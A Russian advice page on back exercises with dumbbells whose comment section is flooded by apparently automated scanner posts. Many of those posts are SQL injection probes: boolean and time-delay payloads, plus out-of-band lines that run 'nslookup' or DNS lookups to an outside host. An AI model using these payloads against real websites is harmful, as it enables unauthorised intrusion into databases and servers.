Новые комментарии

какая...
думаю, что у хорошей хозяйки 1 корзины будет хвата...
Автор умничка, я имею ввиду последнюю часть этого ...
В общем жрать с стола, пить из крана, зубы не чист...
Освежили в памяти, спасибо
Но где же эта инструкция? Ничего нет!
Либо закрепит ошибки. 
Billionaire Boys Club ClothingОсобенности возврата строительных материалов 1 день назад
Кто-нибудь испытал этот способ? Очень интересно.
Информация для тех, кто в теме.Мне, например, чтоб...
Любой знает это
Использование шкафов-колонН.
НадеждаПочему нельзя носить чужие сумки 2 дня назад
Сплошная!
Почему не  сообщаете в каких регионах РФ можно сад...
Если ты суеверна, то почисть как следует старую чу...
Чушь. Всякую ерунду пишут. 
Постелила автомобильный коврик — долго служит.

Как накачать спину

Как накачать спину

1. Отведение рук в наклоне с гантелями

Поставьте ноги на ширину плеч, наклонитесь вперед с ровной спиной, слегка согнув колени. Отводите руки в стороны до параллели с полом, при этом сводите лопатки. Выдох делайте всегда на отведениеБерите такой вес, чтобы вы смогли сделать не менее 15 повторений.

2. Наклоны вперед с выпрямлением рук (с гантелями)

Поставьте ноги на ширину плеч. Наклоняйтесь вперед с ровной спиной, при этом выпрямляя руки перед собой. В конечной точке руки практически прямые и параллельны полу. Выдох делайте в положении наклона и выпрямленных рук. Повторите примерно 12-15 раз.

3. Подъем корпуса со сведением локтей (с гантелями)

Лягте на живот, выпрямите руки перед собой, возьмите гантели. Поднимайте верхнюю часть корпуса, оставляя нижнюю часть неподвижной. При подъеме опускайте руки к поясу, сгибая их до угла в 90 градусов. Сводите лопатки между собой при опускании рук. Выдох делайте на подъем.

4. Тяга гантелей к поясу стоя в наклоне

Поставьте ноги на ширину плеч, наклонитесь вперед с ровной спиной до угла в 45 градусов, слегка согнув колени. Слегка согнутые руки с гантелями опустите вниз, контролируйте их. Подтягивайте гантели к поясу, стараясь при этом тянуть их мышцами спины, а не бицепсами. Конечная точка — рука с гантелей у находится у пояса. Опустите гантели, слегка растягивая мышцы спины.

5. Ласточка с гантелями

Исходное положение: стоя, ноги вместе, руки с гантелями находятся в районе груди. Наклоняйтесь вперед с ровной спиной до параллели с полом. Руки разводите в сторону, плавно принимая позу ласточки. Ногу тяните назад и старайтесь удержать равновесие. Поднимитесь на выдохе в положение стоя, руки сведите вместе в районе груди. Сделайте 10 повторений на одной ноге и повторите то же самое на второй. Не забывайте делать выдох на нагрузку.

Как накачать спину
Добавить в закладки
Назначить теги
Хороший совет
13
Совет работает
1
Плохой совет
3
Загрузка...
302 комментария
ihcbiliv
00
2020-09-25 15:12:45
1
ihcbiliv
00
2020-09-25 15:51:12
1
ihcbiliv
00
2020-09-25 15:51:04
1
ihcbiliv
00
2020-09-25 15:12:46
1
ihcbiliv
00
2020-09-25 15:20:32
1
ihcbiliv
00
2020-09-25 15:20:32
1
ihcbiliv
00
2020-09-25 15:24:50
1
ihcbiliv
00
2020-09-25 15:24:51
1
ihcbiliv
00
2020-09-25 15:24:53
1
ihcbiliv
00
2020-09-25 15:24:54
1
ihcbiliv
00
2020-09-25 15:24:55
1
ihcbiliv
00
2020-09-25 15:24:56
1
ihcbiliv
00
2020-09-25 15:24:57
1
ihcbiliv
00
2020-09-25 15:24:57
1
ihcbiliv
00
2020-09-25 15:24:58
1
ihcbiliv
00
2020-09-25 15:24:59
1
ihcbiliv
00
2020-09-25 15:25:00
1
ihcbiliv
00
2020-09-25 15:25:01
1
ihcbiliv
00
2020-09-25 15:25:02
1
ihcbiliv
00
2020-09-25 15:25:04
1
ihcbiliv
00
2020-09-25 15:25:05
1
ihcbiliv
00
2020-09-25 15:25:09
1
ihcbiliv
00
2020-09-25 15:25:10
1
ihcbiliv
00
2020-09-25 15:25:11
1
ihcbiliv
00
2020-09-25 15:25:13
1
ihcbiliv
00
2020-09-25 15:25:15
1
ihcbiliv
00
2020-09-25 15:25:16
1
ihcbiliv
00
2020-09-25 15:25:17
1
ihcbiliv
00
2020-09-25 15:25:19
1
ihcbiliv
00
2020-09-25 15:25:20
1
ihcbiliv
00
2020-09-25 15:25:22
1
ihcbiliv
00
2020-09-25 15:25:23
1
ihcbiliv
00
2020-09-25 15:25:24
1
ihcbiliv
00
2020-09-25 15:25:25
1
ihcbiliv
00
2020-09-25 15:25:26
1
ihcbiliv
00
2020-09-25 15:25:27
1
ihcbiliv
00
2020-09-25 15:25:28
1
ihcbiliv
00
2020-09-25 15:25:29
1
ihcbiliv
00
2020-09-25 15:31:21
1
ihcbiliv
00
2020-09-25 15:31:22
1
ihcbiliv
00
2020-09-25 15:31:23
-1 OR 2+521-521-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:24
-1 OR 3+521-521-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:26
-1 OR 3*2<(0+5+521-521) —
ihcbiliv
00
2020-09-25 15:31:28
-1 OR 3*2>(0+5+521-521) —
ihcbiliv
00
2020-09-25 15:31:29
-1 OR 2+176-176-1=0+0+0+1
ihcbiliv
00
2020-09-25 15:31:32
-1 OR 3+176-176-1=0+0+0+1
ihcbiliv
00
2020-09-25 15:31:33
-1 OR 3*2<(0+5+176-176)
ihcbiliv
00
2020-09-25 15:31:33
-1 OR 3*2>(0+5+176-176)
ihcbiliv
00
2020-09-25 15:31:36
-1' OR 2+547-547-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:39
-1' OR 3+547-547-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:40
-1' OR 3*2<(0+5+547-547) —
ihcbiliv
00
2020-09-25 15:31:41
-1' OR 3*2>(0+5+547-547) —
ihcbiliv
00
2020-09-25 15:31:42
-1' OR 2+320-320-1=0+0+0+1 or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:44
-1' OR 3+320-320-1=0+0+0+1 or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:47
-1' OR 3*2<(0+5+320-320) or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:48
-1' OR 3*2>(0+5+320-320) or '7KER2xh9'='
ihcbiliv
00
2020-09-25 15:31:49
-1" OR 2+680-680-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:50
-1" OR 3+680-680-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:31:51
-1" OR 3*2<(0+5+680-680) —
ihcbiliv
00
2020-09-25 15:31:52
-1" OR 3*2>(0+5+680-680) —
ihcbiliv
00
2020-09-25 15:31:56
if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'«XOR(if(now()=sysdate(),sleep(9),0))OR»*/
ihcbiliv
00
2020-09-25 15:31:57
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
ihcbiliv
00
2020-09-25 15:31:58
-1; waitfor delay '0:0:3' —
ihcbiliv
00
2020-09-25 15:31:59
-1); waitfor delay '0:0:3' —
ihcbiliv
00
2020-09-25 15:32:00
1 waitfor delay '0:0:3' —
ihcbiliv
00
2020-09-25 15:32:02
TBkMMVXN'; waitfor delay '0:0:6' —
ihcbiliv
00
2020-09-25 15:32:05
-1;select pg_sleep(6); —
ihcbiliv
00
2020-09-25 15:32:06
-1);select pg_sleep(6); —
ihcbiliv
00
2020-09-25 15:32:07
-1));select pg_sleep(6); —
ihcbiliv
00
2020-09-25 15:32:10
1mxXNtwO';select pg_sleep(9); —
ihcbiliv
00
2020-09-25 15:32:10
6n8RIOMl');select pg_sleep(9); —
ihcbiliv
00
2020-09-25 15:32:12
yQbiRizv'));select pg_sleep(9); —
ihcbiliv
00
2020-09-25 15:32:13
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1164-863.1164.39ab3.1.bxss'||'.me')
ihcbiliv
00
2020-09-25 15:32:14
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1164-864.1164.39ab3.1.bxss'||'.me')||'
ihcbiliv
00
2020-09-25 15:32:15
1;copy (select '') to program 'nslookup dns.sqli.\013405.1164-866.1164.39ab3.\1.bxss.me'
ihcbiliv
00
2020-09-25 15:32:18
1';copy (select '') to program 'nslookup dns.sqli.\013405.1164-868.1164.39ab3.\1.bxss.me
ihcbiliv
00
2020-09-25 15:32:19
958'
ihcbiliv
00
2020-09-25 15:38:50
1
ihcbiliv
00
2020-09-25 15:38:51
1
ihcbiliv
00
2020-09-25 15:38:53
1
ihcbiliv
00
2020-09-25 15:38:54
1
ihcbiliv
00
2020-09-25 15:38:56
1
ihcbiliv
00
2020-09-25 15:38:58
1
ihcbiliv
00
2020-09-25 15:38:59
1
ihcbiliv
00
2020-09-25 15:39:00
1
ihcbiliv
00
2020-09-25 15:39:02
1
ihcbiliv
00
2020-09-25 15:39:03
1
ihcbiliv
00
2020-09-25 15:39:04
1
ihcbiliv
00
2020-09-25 15:39:06
1
ihcbiliv
00
2020-09-25 15:39:07
1
ihcbiliv
00
2020-09-25 15:39:10
1
ihcbiliv
00
2020-09-25 15:39:11
1
ihcbiliv
00
2020-09-25 15:39:12
1
ihcbiliv
00
2020-09-25 15:39:15
1
ihcbiliv
00
2020-09-25 15:39:17
1
ihcbiliv
00
2020-09-25 15:39:18
1
ihcbiliv
00
2020-09-25 15:39:21
1
ihcbiliv
00
2020-09-25 15:39:24
1
ihcbiliv
00
2020-09-25 15:39:27
1
ihcbiliv
00
2020-09-25 15:39:29
1
ihcbiliv
00
2020-09-25 15:39:30
1
ihcbiliv
00
2020-09-25 15:39:31
1
ihcbiliv
00
2020-09-25 15:39:32
1
ihcbiliv
00
2020-09-25 15:39:34
1
ihcbiliv
00
2020-09-25 15:39:36
1
ihcbiliv
00
2020-09-25 15:39:38
1
ihcbiliv
00
2020-09-25 15:39:41
1
ihcbiliv
00
2020-09-25 15:39:43
1
ihcbiliv
00
2020-09-25 15:39:45
1
ihcbiliv
00
2020-09-25 15:45:20
1
ihcbiliv
00
2020-09-25 15:45:22
1
ihcbiliv
00
2020-09-25 15:45:48
1
ihcbiliv
00
2020-09-25 15:45:50
1
ihcbiliv
00
2020-09-25 15:45:54
1
ihcbiliv
00
2020-09-25 15:45:55
1
e
00
2020-09-25 15:45:58
%3Cul%3E%3C%2Ful%3E
e
00
2020-09-25 15:45:59
%3Cul%3E%3C%2Ful%3E
ihcbiliv
00
2020-09-25 15:46:00
1
e
00
2020-09-25 15:46:00
-1 OR 2+794-794-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:46:01
1
ihcbiliv
00
2020-09-25 15:46:02
1
e
00
2020-09-25 15:46:03
-1 OR 3+794-794-1=0+0+0+1 —
ihcbiliv
00
2020-09-25 15:46:04
1
e
00
2020-09-25 15:46:05
-1 OR 3*2<(0+5+794-794) —
ihcbiliv
00
2020-09-25 15:46:05
1
e
00
2020-09-25 15:46:07
-1 OR 3*2>(0+5+794-794) —
ihcbiliv
00
2020-09-25 15:46:07
1
ihcbiliv
00
2020-09-25 15:46:08
1
ihcbiliv
00
2020-09-25 15:46:09
1
e
00
2020-09-25 15:46:10
-1 OR 2+903-903-1=0+0+0+1
e
00
2020-09-25 15:46:11
-1 OR 3+903-903-1=0+0+0+1
e
00
2020-09-25 15:46:12
-1 OR 3*2<(0+5+903-903)
e
00
2020-09-25 15:46:13
-1 OR 3*2>(0+5+903-903)
e
00
2020-09-25 15:46:14
-1' OR 2+168-168-1=0+0+0+1 —
e
00
2020-09-25 15:46:16
-1' OR 3+168-168-1=0+0+0+1 —
e
00
2020-09-25 15:46:17
-1' OR 3*2<(0+5+168-168) —
e
00
2020-09-25 15:46:18
-1' OR 3*2>(0+5+168-168) —
e
00
2020-09-25 15:46:20
-1' OR 2+317-317-1=0+0+0+1 or 'XNbRmYD3'='
e
00
2020-09-25 15:46:21
-1' OR 3+317-317-1=0+0+0+1 or 'XNbRmYD3'='
e
00
2020-09-25 15:46:24
-1' OR 3*2<(0+5+317-317) or 'XNbRmYD3'='
e
00
2020-09-25 15:46:25
-1' OR 3*2>(0+5+317-317) or 'XNbRmYD3'='
e
00
2020-09-25 15:46:27
-1" OR 2+583-583-1=0+0+0+1 —
e
00
2020-09-25 15:46:28
-1" OR 3+583-583-1=0+0+0+1 —
e
00
2020-09-25 15:46:29
-1" OR 3*2<(0+5+583-583) —
e
00
2020-09-25 15:46:30
-1" OR 3*2>(0+5+583-583) —
e
00
2020-09-25 15:46:31
if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'«XOR(if(now()=sysdate(),sleep(15),0))OR»*/
e
00
2020-09-25 15:46:32
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
e
00
2020-09-25 15:46:34
1 waitfor delay '0:0:5' —
e
00
2020-09-25 15:46:35
crJkO6YW'; waitfor delay '0:0:10' —
e
00
2020-09-25 15:46:38
NEGvbtqf';select pg_sleep(10); —
e
00
2020-09-25 15:46:39
hadDn7rX');select pg_sleep(5); —
e
00
2020-09-25 15:46:42
rRZNhXsw'));select pg_sleep(10); —
e
00
2020-09-25 15:46:43
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1164-1312.1164.ffd54.1.bxss'||'.me')||'
e
00
2020-09-25 15:46:45
%3Cul%3E%3C%2Ful%3E';copy (select '') to program 'nslookup dns.sqli.\013405.1164-1315.1164.ffd54.\1.bxss.me
e
00
2020-09-25 15:46:47
936'
ihcbiliv
00
2020-09-25 15:50:34
1
ihcbiliv
00
2020-09-25 15:50:35
1
ihcbiliv
00
2020-09-25 15:50:51
1
ihcbiliv
00
2020-09-25 15:50:52
1
ihcbiliv
00
2020-09-25 15:50:55
1
ihcbiliv
00
2020-09-25 15:50:56
1
ihcbiliv
00
2020-09-25 15:51:02
1
ihcbiliv
00
2020-09-25 15:51:06
1
ihcbiliv
00
2020-09-25 15:51:07
1
ihcbiliv
00
2020-09-25 15:51:08
1
ihcbiliv
00
2020-09-25 15:51:09
1
ihcbiliv
00
2020-09-25 15:51:11
1
ihcbiliv
00
2020-09-25 15:56:14
1
ihcbiliv
00
2020-09-25 15:56:14
1
ihcbiliv
00
2020-09-25 15:56:15
1
ihcbiliv
00
2020-09-25 15:56:17
1
ihcbiliv
00
2020-09-25 15:56:17
1
ihcbiliv
00
2020-09-25 15:56:18
1
ihcbiliv
00
2020-09-25 15:56:19
1
ihcbiliv
00
2020-09-25 15:56:19
1
ihcbiliv
00
2020-09-25 15:56:20
1
ihcbiliv
00
2020-09-25 15:56:22
1
ihcbiliv
00
2020-09-25 15:56:23
1
ihcbiliv
00
2020-09-25 15:56:25
1
ihcbiliv
00
2020-09-25 15:56:26
1
ihcbiliv
00
2020-09-25 15:56:27
1
ihcbiliv
00
2020-09-25 15:56:28
1
ihcbiliv
00
2020-09-25 15:56:30
1
ihcbiliv
00
2020-09-25 15:56:31
1
ihcbiliv
00
2020-09-25 15:56:31
1
ihcbiliv
00
2020-09-25 15:56:32
1
ihcbiliv
00
2020-09-25 15:56:33
1
ihcbiliv
00
2020-09-25 15:56:33
1
ihcbiliv
00
2020-09-25 15:56:34
1
ihcbiliv
00
2020-09-25 15:56:35
1
ihcbiliv
00
2020-09-25 15:56:36
1
ihcbiliv
00
2020-09-25 15:56:38
1
ihcbiliv
00
2020-09-25 15:56:39
1
ihcbiliv
00
2020-09-25 15:56:41
1
ihcbiliv
00
2020-09-25 15:56:41
1
ihcbiliv
00
2020-09-25 15:56:42
1
ihcbiliv
00
2020-09-25 15:56:43
1
ihcbiliv
00
2020-09-25 15:56:43
1
ihcbiliv
00
2020-09-25 15:56:44
1
ihcbiliv
00
2020-09-25 16:02:29
1
ihcbiliv
00
2020-09-25 16:02:30
1
ihcbiliv
00
2020-09-25 16:02:31
1
ihcbiliv
00
2020-09-25 16:02:32
1
ihcbiliv
00
2020-09-25 16:02:33
1
ihcbiliv
00
2020-09-25 16:02:35
1
ihcbiliv
00
2020-09-25 16:02:36
1
ihcbiliv
00
2020-09-25 16:02:37
1
ihcbiliv
00
2020-09-25 16:02:38
1
ihcbiliv
00
2020-09-25 16:02:40
1
ihcbiliv
00
2020-09-25 16:02:41
1
ihcbiliv
00
2020-09-25 16:02:42
1
ihcbiliv
00
2020-09-25 16:02:44
1
ihcbiliv
00
2020-09-25 16:02:45
1
ihcbiliv
00
2020-09-25 16:02:46
1
ihcbiliv
00
2020-09-25 16:02:48
1
ihcbiliv
00
2020-09-25 16:02:48
1
ihcbiliv
00
2020-09-25 16:02:49
1
ihcbiliv
00
2020-09-25 16:02:51
1
ihcbiliv
00
2020-09-25 16:02:52
1
ihcbiliv
00
2020-09-25 16:02:54
1
ihcbiliv
00
2020-09-25 16:02:56
1
ihcbiliv
00
2020-09-25 16:03:00
1
ihcbiliv
00
2020-09-25 16:03:05
1
ihcbiliv
00
2020-09-25 16:03:07
1
ihcbiliv
00
2020-09-25 16:03:08
1
ihcbiliv
00
2020-09-25 16:03:11
1
ihcbiliv
00
2020-09-25 16:03:12
1
ihcbiliv
00
2020-09-25 16:03:55
1
ihcbiliv
00
2020-09-25 16:03:56
1
ihcbiliv
00
2020-09-25 16:03:57
1
ihcbiliv
00
2020-09-25 16:08:42
1
ihcbiliv
00
2020-09-25 16:08:43
1
ihcbiliv
00
2020-09-25 16:11:30
1
ihcbiliv
00
2020-09-25 16:11:31
1
ihcbiliv
00
2020-09-25 16:11:54
1
ihcbiliv
00
2020-09-25 16:11:56
1
ihcbiliv
00
2020-09-25 16:11:58
1
ihcbiliv
00
2020-09-25 16:12:00
1
ihcbiliv
00
2020-09-25 16:12:01
1
ihcbiliv
00
2020-09-25 16:12:27
1
ihcbiliv
00
2020-09-25 16:12:30
1
ihcbiliv
00
2020-09-25 16:12:31
1
ihcbiliv
00
2020-09-25 16:13:02
1
ihcbiliv
00
2020-09-25 16:13:03
1
ihcbiliv
00
2020-09-25 16:13:27
1
ihcbiliv
00
2020-09-25 16:13:30
1
ihcbiliv
00
2020-09-25 16:13:31
1
ihcbiliv
00
2020-09-25 16:15:07
1
ihcbiliv
00
2020-09-25 16:15:08
1
ihcbiliv
00
2020-09-25 16:15:09
1
ihcbiliv
00
2020-09-25 16:15:10
1
ihcbiliv
00
2020-09-25 16:15:11
1
ihcbiliv
00
2020-09-25 16:15:12
1
ihcbiliv
00
2020-09-25 16:15:13
1
ihcbiliv
00
2020-09-25 16:15:14
1
ihcbiliv
00
2020-09-25 16:15:15
1
ihcbiliv
00
2020-09-25 16:15:16
1
ihcbiliv
00
2020-09-25 16:15:17
1
ihcbiliv
00
2020-09-25 16:15:18
1
ihcbiliv
00
2020-09-25 16:15:19
1
ihcbiliv
00
2020-09-25 16:15:21
1
ihcbiliv
00
2020-09-25 16:15:22
1
ihcbiliv
00
2020-09-25 16:15:22
1
ihcbiliv
00
2020-09-25 16:15:24
1
ihcbiliv
00
2020-09-25 16:15:25
1
ihcbiliv
00
2020-09-25 16:15:26
1
ihcbiliv
00
2020-09-25 16:15:27
1
ihcbiliv
00
2020-09-25 16:15:28
1
ihcbiliv
00
2020-09-25 16:15:30
1
ihcbiliv
00
2020-09-25 16:15:31
1
ihcbiliv
00
2020-09-25 16:15:32
1
ihcbiliv
00
2020-09-25 16:15:33
1
ihcbiliv
00
2020-09-25 16:15:33
1
ihcbiliv
00
2020-09-25 16:15:35
1
ihcbiliv
00
2020-09-25 16:15:36
1
ihcbiliv
00
2020-09-25 16:15:36
1
ihcbiliv
00
2020-09-25 16:15:37
1
ihcbiliv
00
2020-09-25 16:15:39
1
ihcbiliv
00
2020-09-25 16:15:40
1
ihcbiliv
00
2020-09-25 16:15:41
1
ihcbiliv
00
2020-09-25 16:15:42
1
ihcbiliv
00
2020-09-25 16:15:44
1
ihcbiliv
00
2020-09-25 16:15:45
1
ihcbiliv
00
2020-09-25 16:15:46
1
ihcbiliv
00
2020-09-25 16:15:47
1
ihcbiliv
00
2020-09-25 16:15:49
1
ihcbiliv
00
2020-09-25 16:20:39
1
ihcbiliv
00
2020-09-25 16:20:40
1
ihcbiliv
00
2020-09-25 16:27:27
1
ihcbiliv
00
2020-09-25 16:27:28
1
ihcbiliv
00
2020-09-25 16:27:37
1
ihcbiliv
00
2020-09-25 16:27:38
1
ihcbiliv
00
2020-09-25 16:27:40
1
ihcbiliv
00
2020-09-25 16:27:41
1
ihcbiliv
00
2020-09-25 16:27:43
1
ihcbiliv
00
2020-09-25 16:27:44
1
ihcbiliv
00
2020-09-25 16:27:45
1
ihcbiliv
00
2020-09-25 16:27:46
1
ihcbiliv
00
2020-09-25 16:27:46
1
ihcbiliv
00
2020-09-25 16:27:47
1
ihcbiliv
00
2020-09-25 16:27:49
1
ihcbiliv
00
2020-09-25 16:27:50
1